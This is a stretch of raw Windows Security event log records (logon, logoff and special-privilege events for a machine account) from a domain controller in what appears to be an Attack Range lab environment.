SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248934 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB1AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248933 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCB1AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64081 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248932 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB1AC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248931 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB145 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248930 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCB145 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64080 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248929 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB145 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248928 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB0DB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248927 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCB0DB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64079 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248926 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB0DB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248925 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB074 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248924 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCB074 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64078 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248923 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCB074 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC4B1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248945 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCC4B1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64085 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248944 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC4B1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248943 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC437 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248942 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCC437 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64084 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248941 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC437 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248940 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC3CC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248939 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCC3CC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64083 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248938 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC3CC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248937 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC36B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248936 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCC36B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64082 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248935 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCC36B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248958 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCEEB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248957 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCEEB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64089 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248956 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCEEB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248955 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCE8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248954 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCE8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64088 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: 